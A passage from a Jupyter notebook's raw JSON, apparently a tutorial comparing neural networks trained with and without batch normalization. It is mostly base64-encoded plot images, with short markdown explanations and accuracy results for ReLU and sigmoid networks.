AAfuVbQyG\n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\n97vdlpk9e/Z+E9YOhohw6623xrfvvfde7rjjjm7Py3ZSahZVdb6qHq2q41T1Hm/fXFWd632uV9Xh\nqlqmqn28z41d12qxWNLFkV46++WXX6ampoYnnngivpJqVyRjFJIlPz+fJ598koaGhl6dn66lrw+V\nrEg0WyyWg/D8bVC/NL5ZGAmDe4g/68FT4ZzvdXoo1UtnH4zGxkb69u0b37744oupra0lGAzyhS98\ngZtvvpnbbruN1tZWpk2bxuTJk5k3bx6PPPII9957LyLCsccey+9//3sAXn31Ve677z7q6+v5wQ9+\nEPdqEvH5fMyZM4cf//jH3HPPPfsd27BhA9deey0NDQ0MHDiQ3/72t4wcOZLZs2dTUFDAe++9x6mn\nnkpZWRnr169n3bp1bNq0iR//+Me8+eabPP/88wwbNoxnn30Wvz8zcgkx7KB9i8WSNKlcOrszZs2a\nxZQpUzjjjDO4++674/sfeugh3nnnHRYvXszcuXPZuXMn3/ve9ygsLKSmpoZ58+axfPly7r77bl56\n6SWWLFnC/fffHz9/69atvP766zz33HOdLr0R44YbbmDevHkHDO+86aabuOaaa3j//fe58sor9zNq\ndXV1LFiwgPvuuw+AtWvX8tJLL/HMM8/wmc98hlmzZrF06VIKCwv529/+1oO7f2SwnoLFks106NG3\nZvHS2cOHDz+g3Msvv8yAAQNYu3YtZ555JlVVVZSUlPDTn/6Up556CoDNmzfz4Ycf0r9///3Ofeml\nl/jP//zP+HpMictRX3zxxTiOw6RJk9i2bdtB5SwrK+Pqq6/mpz/96X7va1i4cCFPPvkkAFdddRVf\n//rX/3979x9kVVnHcfz9QS5uK/JLa4eE4ceIKQRsVLaiq8JMuss0mhUMRKNjNtT0YySYaZahcWym\nP7DUSmpUGmTGpCIUzcFfiWJNRSIqEGy7CrmNkLa2JGZECn7743n2cvayC3cX7l7uOd/XzJ197nOe\nc+7z3bnsw3nOOd8nv2327Nldnh9obGwkl8sxefJkDh8+TENDAxBySLW1tRX1++pPPig453qlMHX2\n6NGjue222xgyZAjXX399UcfoTeppCOsI1NTU0NzczIEDB9iwYQObNm2iurqa+vr6E0p9fbwHeBcu\nXMi0adOKjq2n1NcDBgwgl8vln80oVerrE+XTR865XilV6uxjaW9v55VXXmHMmDHs37+f4cOHU11d\n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\nTkSuQmCC\n", "text/plain": [ "<matplotlib.figure.Figure at 0x7ffa713129b0>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "train_and_test(False, 1, tf.nn.relu)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "In both of the previous examples, the network with batch normalization manages to gets over 98% accuracy, and get near that result almost immediately. The higher learning rate allows the network to train extremely fast." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**The following creates two networks using a sigmoid activation function, a learning rate of 1, and reasonable starting weights.**" ] }, { "cell_type": "code", "execution_count": 9, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [00:36<00:00, 1382.38it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "Without Batch Norm: After training, final accuracy on validation set = 0.9783996343612671\n" ] }, { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [01:35<00:00, 526.13it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "With Batch Norm: After training, final accuracy on validation set = 0.9837996959686279\n", "---------------------------------------------------------------------------\n", "Without Batch Norm: Accuracy on full test set = 0.9752001166343689\n", "---------------------------------------------------------------------------\n", "With Batch Norm: Accuracy on full test set = 0.981200098991394\n" ] }, { "data": { "image/png": "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